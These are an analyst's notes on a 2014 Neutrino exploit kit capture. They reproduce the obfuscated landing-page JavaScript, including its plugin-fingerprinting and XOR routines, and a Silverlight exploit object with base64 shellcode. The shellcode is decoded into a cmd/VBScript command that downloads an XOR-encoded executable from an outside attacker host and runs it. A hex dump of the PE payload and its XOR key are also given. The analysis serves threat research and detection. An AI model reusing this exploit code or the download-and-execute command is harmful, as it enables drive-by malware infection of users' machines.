neutrino 2014-01-10

 @malforsec notes on Neutrino pcap from @node5

 The referer was gone when I picked it up so it all done from pcap

 # Altered (for me) landing - still divided, but part two now also with plugin detect

## landing part1:

p="lxdcyvbhrojedfm";
t=decodeURIComponent;
s="YJ%00SICT%0C%13%0E%0BW%07%05XTHSSK%13TPCTQ%5E%0A%09%00%09%16%03%19%08%13YSI%1E%1F%04%0B%12%1B%0AC_X%14%05%1A%0F%03%16Q%5E_%02%0A%04%1C%10%01%1C%07%09%1C%11%00%0D%
0F%0B%11%03WC_%00U%01N%0D%5E%02F%17";
$(document).ready(function(){$.get("/vroikknxwgvdwt",!1,d)});function d(i){$("body").append(c(t(i),p))}
k=String.fromCharCode;
u=Math.floor;
function c(i,x){for(var l="",z=0,v=0,z=v=0;z<i.length;z++)v=u(z%x.length),v=i.charCodeAt(z)^x.charCodeAt(v),l+=k(v);return l};

## p = xor key
## s = now the params are obfuscated with xor + urlencoding

## s (params) decodes to: 52d0056daaa2cc580702e681;;;nomengzqe;;;quaotvf;;;msxgqy;;;dghdtbeqktcogjown;;;c,w,e,m,r
## This we know from before... (post url ending, xor key, post param name...)

## landing part 2: (usual neutrino stuff urlencoded and xored) just parts here
P%0B%07%11%10%06%16Vx%19%0B%17D6%01%19%1F%0D%0D%3D%13%16%0D%11%1BW%1E%12%03%1F%1F%11%0B%0DCTRFJAZGH%08%0C%01%1D%5EA%29%1A%17%0F%1B%01.%00%10%03%0E%18ZH%0C%0
9%13%0C%3C%13%08PGXDA%05%0B%20%06%1F%1F%0C%0D%16U%0C%10%0A%05%19%05%17%0AK%18_%19%1A%17%1B%1F%17%0AD%18%02%1C%01%05%10%18%07%0CPNW%11%1D%16%08%03%1ED%02%04Z%0B%1B3%1
D%18%04%1D%5C%0B%19%16%07%17%10%19%0C%40%13F%11%17%01%12%18%1E%16K%02%0B%04%03%11%5D%06D%11%01%15%19D7%06%09%1C%15%16F%02%1D%05%11%0B%12%14%1C%1DJ%17%16%25%16%1A%1B%
01%0DK%07%07%01%00P%05JP%0BN%01%01%29%1F%0B%07%5C%0B%19%16%07%17%10%19%0C%40%13F%11%17%01%12%18%1E%16F%05%0C%18%01%1C%1B%00%04GY%5B%19%15%08%01%0C%1FV%03%15%5E%06%19
6%10%14%04%02%1F%5E%05%0C%18%01%1C%1B%00%04M%05O%16%1E%1D%10%16%0B%18%40%1B%06%1D%03%0B%03DPQ%0C%1D%13%1C%19%04H%13%12F%0C%17%28%18%01B%02%16%17%15%16%01%1D%01B%04M%
1D%1F%09%0C%11%11%17T%0C%1D%1F%0D%0F%17F%5BP%18%01%14%06%16%10B%09%0FC%03%167%12%1F%22%0D%09Y%1F%03%0C%0B%06%06%05%0BL%07D%17%0A%01%17%0C%04%0CJ%01%1B%18%0C%0A%01OQE
%10%1A%09%13%0D%0ER%0ELCK%3A%09CV%10%06%0A%02J%09%5B%12F%02%01%12%23%19%156%06%1E%0EXG%293%0E8%3F%3A%090V8%3CU%5B%3FB%5DC%19%15%08%0F%19%22%0D%091%1C%11%1AR%5D46K89A
A%25K%04U%11%07%1C%3C%1A%07_%02

## first part plugin detect; last part neutrino second part of landing:
function iu() {
    var al = null,
        we = 0,
        dj = 0;
    try {
        we = new ActiveXObject("SharePoint.OpenDocuments.4")
    } catch (gv) {}
    try {
        dj = new ActiveXObject("SharePoint.OpenDocuments.3")
    } catch (cn) {}
    "object" == typeof we && "object" == typeof dj ? al = "2010" : "number" == typeof we && "object" == typeof dj && (al = "2007");
    return al
}
function xk(al, we) {
    for (var dj = "", gv = 0, cn = 0, gv = cn = 0; gv < al.length; gv++) cn = Math.floor(gv % we.length), cn = al.charCodeAt(gv) ^ we.charCodeAt(cn), dj += String.fromCharCode(cn);
    return dj
}
function br(al, we) {
    return Math.floor(Math.random() * (we - al + 1)) + al
}

function fy(al, we) {
    we = we || "abcdefghijklmnopqrstuvwxyz";
    for (var dj = "", gv = 0; gv < al; gv++) var cn = Math.floor(Math.random() * we.length),
        dj = dj + we.substring(cn, cn + 1);
    return dj
}
function zm(al) {
    var we = {},
        dj = [],
        gv;
    for (gv in al) dj.push(gv.substring(0, 1));
    we = sq(dj, we);
    for (gv in al) we[gv] = al[gv];
    return we = sq(dj, we)
}

function sq(al, we) {
    for (var dj = 0; dj <= br(3, 7); dj++) {
        for (var gv = "", cn = "";;) {
            var tp = !1,
                gv = fy(br(5, 25)),
                cn = fy(br(5, 99)),
                ho;
            for (ho in al) al[ho] == gv.substring(0, 1) && (tp = !0);
            if (!tp) break
        }
        tp = RegExp(fy(1), "gi");
        0 == br(0, 1) ? we[gv] = encodeURIComponent(xk(cn.replace(tp, " "), fy(br(3, 5)))) : we[gv] = cn.replace(tp, " ")
    }
    return we
}

function utj(al, we, dj, gv, cn) {
    var tp = [],
        ho = [{
            adobe_reader: "AdobeReader"
        }, {
            java: "Java"
        }, {
            flash: "Flash"
        }, {
            quick_time: "QuickTime"
        }, {
            real_player: "RealPlayer"
        }, {
            shockwave: "Shockwave"
        }, {
            silver_light: "Silverlight"
        }, {
            vlc: "VLC"
        }, {
            wmp: "WMP"
        }];
    tp.push("hid:::" + al);
    for (var slo in ho) for (var vpf in ho[slo]) tp.push(vpf + ":::" + PluginDetect.getVersion(ho[slo][vpf]));
    tp.push("office:::" + iu());
    al = {};
    al[gv] = dj;
    al[cn] = encodeURIComponent(xk(tp.join(";;;"), dj));
    al = zm(al);
    $.post(we, al, function(al, we) {
        $("body").append(xk(decodeURIComponent(al), dj))
    })
}
function qkg(al) {
    var we = {};
    al = al[br(0, al.length - 1)] + fy(br(5, 15));
    if (0 == br(0, 1)) {
        for (var dj = 0; dj <= br(2, 10); dj++) we[fy(br(3, 10))] = fy(br(3, 10));
        $.get("/" + al, we)
    } else {
        for (dj = 0; dj <= br(2, 10); dj++) we[fy(br(5, 15))] = fy(br(10, 255));
        $.post("/" + al, we)
    }
}(function() {
    for (var al = xk(decodeURIComponent(s), p), al = al.split(";;;"), we = al[0], dj = al[1], gv = al[2], cn = al[3], tp = al[4], al = al[5].split(","), ho = 0; ho <= br(2, 5); ho++) qkg(al);
    utj(we, dj, cn, gv, tp);
    for (ho = 0; ho <= br(2, 5); ho++) qkg(al)
})(); < /script>

## Some new new stuff, but still building on the same components as before; purpuse: POST installed browser components

## To the real new stuff:
## silverlight vulnerability implemented:
<object data='data:application/x-silverlight-2,' type='application/x-silverlight-2' width=10 height=10>
				<param name='source' value='http://ighuorai.sailengo.com:8000/ovlakfvuqgc?gleypjyhh=nxlviom'/>
				<param name='initParams' value='bin=VYvsg8SsYDHAZItAMItADItwDK2WrYtYGInYA0A8i1B4AdqLeiAB3zHJiwcB2IE4Q3JlYXUcgXgKZXNzQXUTi0IkAdgPtwRIi
1IcAdoDHILrCYPHBEE7Shh8z41F8FCNfaxXMcBqEVn886uxRIlNrFBQsQjByQhRUFBQ6wZQ/9NhycPo9f///2NtZC5leGUgL3EgL2MgY2QgL2QgIiV0bXAlIiZlY2hvIFNldCBhPUNyZWF0ZU9iamVjdCgiU2NyaXB0aW
5nLkZpbGVTeXN0ZW1PYmplY3QiKTpmPWEuR2V0VGVtcE5hbWU6U2V0IGM9Q3JlYXRlT2JqZWN0KCJXaW5IdHRwLldpbkh0dHBSZXF1ZXN0LjUuMSIpOng9Im5ta3kiOnU9Imh0dHA6Ly9pZ2h1b3JhaS5zYWlsZW5nby5
jb206ODAwMC9paW5jaG92bHZ4YWxzP2dtZHJoeGhuPW54bHZpb20iOk9uIEVycm9yIFJlc3VtZSBOZXh0OkVyci5DbGVhcjpjLk9wZW4gIkdFVCIsdSwwOklmIEVycj0wIFRoZW46Yy5TZW5kOno9Yy5SZXNwb25zZUJv
ZHk6U2V0IHM9Q3JlYXRlT2JqZWN0KCJBRE9EQi5TdHJlYW0iKTpzLlR5cGU9MTpzLk9wZW46cy5Xcml0ZSB6OnMuUG9zaXRpb249MDpmPWYrIi5leGUiOlNldCBiPWEuQ3JlYXRlVGV4dEZpbGUoZik6bD1sZW4oeCk6R
m9yIGk9MCBUbyBsZW5iKHopLTE6Yi5Xcml0ZSBjaHIoYXNjYihzLlJlYWQoMSkpIHhvciBhc2MobWlkKHgsKGkgbW9kIGwpKzEsMSkpKTpOZXh0OmIuQ2xvc2U6U2V0IHc9Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZW
xsIik6dy5SdW4gImNtZCAvcSAvYyAiK2YsMDpFbmQgSWY6YS5EZWxldGVGaWxlICJsLnZicyIgPmwudmJzICZzdGFydCB3c2NyaXB0IGwudmJzAAAAAAAA'/>
			</object>

Which decodes (not perfectly for some reason):
UĬ`1d@0@pX@<Pxڋz 1ɋ؁8Creaux
essAuB$HR	A;J|ύEP}W1jYDMPPQPPPPacmd.exe /q /c cd /d "%tmp%"&echo Set a=CreateObject("Scripting.FileSystemObject"):f=a.GetTempName:Set c=CreateObject("WinHttp.WinHttpRequest.5.1"):x="nmky":u="http://ighuorai.sailengo.com:8000/iinchovlvxals?gmdrhxhn=nxlviom":On Error Resume Next:Err.Clear:c.Open "GET",u,0:If Err=0 Then:c.Send:z=c.ResponseBody:Set s=CreateObject("ADODB.Stream"):s.Type=1:s.Open:s.Write z:s.Position=0:f=f+".exe":Set b=a.CreateTextFile(f):l=len(x):For i=0 To lenb(z)-1:b.Write chr(ascb(s.Read(1)) xor asc(mid(x,(i mod l)+1,1))):Next:b.Close:Set w=CreateObject("WScript.Shell"):w.Run "cmd /q /c "+f,0:End If:a.DeleteFile "l.vbs" >l.vbs &start wscript l.vbs

## we also see the URL to the zip/dll: http://ighuorai.sailengo.com:8000/ovlakfvuqgc?gleypjyhh=nxlviom
0000000: 4d5a c290 0003 0000 0004 0000 00c3 bfc3  MZ..............
0000010: bf00 00c2 b800 0000 0000 0000 4000 0000  ............@...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: c280 0000 000e 1fc2 ba0e 00c2 b409 c38d  ................
0000050: 21c2 b801 4cc3 8d21 5468 6973 2070 726f  !...L..!This pro
0000060: 6772 616d 2063 616e 6e6f 7420 6265 2072  gram cannot be r
0000070: 756e 2069 6e20 444f 5320 6d6f 6465 2e0d  un in DOS mode..
0000080: 0d0a 2400 0000 0000 0000 5045 0000 4c01  ..$.......PE..L.
0000090: 0300 0ec3 80c2 be52 0000 0000 0000 0000  .......R........
00000a0: c3a0 0002 210b 010b 0000 2a00 0000 0600  ....!.....*.....

## AppManifest
<Deployment xmlns="http://schemas.microsoft.com/client/2007/deployment" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" EntryPointAssembly="dig" EntryPointTyp
e="dig.App" RuntimeVersion="3.0.40818.0">
  <Deployment.Parts>
    <AssemblyPart x:Name="dig" Source="dig.dll" />
  </Deployment.Parts>
</Deployment>

## Final xored exe payload downloaded:
#7.ymmkyjmky..ky.mkynmky.mkynmkynmkynmkynmkynmkynmkynmkynmky.mky`r.wn.b.O.j5.L?...K.......K......M..N...N..Y*"8Y....@`fsJmkynmky.........................6.......6.......6.......6.......6.......6......<.......>(ky"lnyi..+nmkynmky.mhxelcyn}jyn.oynmky1}kyn}kynMjynmk.n}kynikyjmkynmkyjmkynmkyn.nynikynmkymmkynm{yn}kynm{yn}kynmky~mkynmkynmkyn}nyFmkyn.ny.Vkynmkynmkynmkynmkynmkynmky.|kyrmkynmkynmkynmkynmkynmkynmkynmkynmkynmkynmky.}ny"[email protected]}kyn}jynikynmkynmkynmkyNmk.@.

.mky8.hynMjyn.hynyjynmkynmkynmky.mk

## easy guessable xor key: nmky (which also is the x variable from above :)

@malforsec